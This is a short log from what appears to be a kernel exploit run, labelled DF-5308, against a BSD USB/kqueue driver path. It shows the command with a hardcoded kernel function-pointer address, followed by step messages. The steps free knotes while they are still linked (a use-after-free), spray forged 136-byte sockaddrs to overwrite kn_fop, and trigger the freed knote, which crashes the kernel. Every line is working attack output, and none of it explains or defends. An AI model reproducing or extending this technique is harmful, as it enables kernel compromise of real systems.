# DF-5308 call-mode run (NKQ=96 revision, kn_fop = &kprintf-24)
# command: DF5308_FOP=ffffffff8069d328 ./df5308 call 1
[*] while saturated: ioctl(unknown) = -1 errno=6 (expect -1/ENXIO=6)
[*] closing 96 kqueues -> usb_filter_detach early-return -> knotes freed while linked
[*] spraying 6x32 forged 136-byte sockaddrs (kn_fop=0xffffffff8069d328)
[*] killing readers
[*] after drain: ioctl(unknown) = -1 errno=25 (expect -1/ENOTTY=25)
[*] closing ugen fd -> usb_fifo_close -> KNOTE -> BOOM?
[?] attempt 1 survived close(fd)
--- kernel trapped shortly after (delayed KNOTE walk), see panic.call.txt ---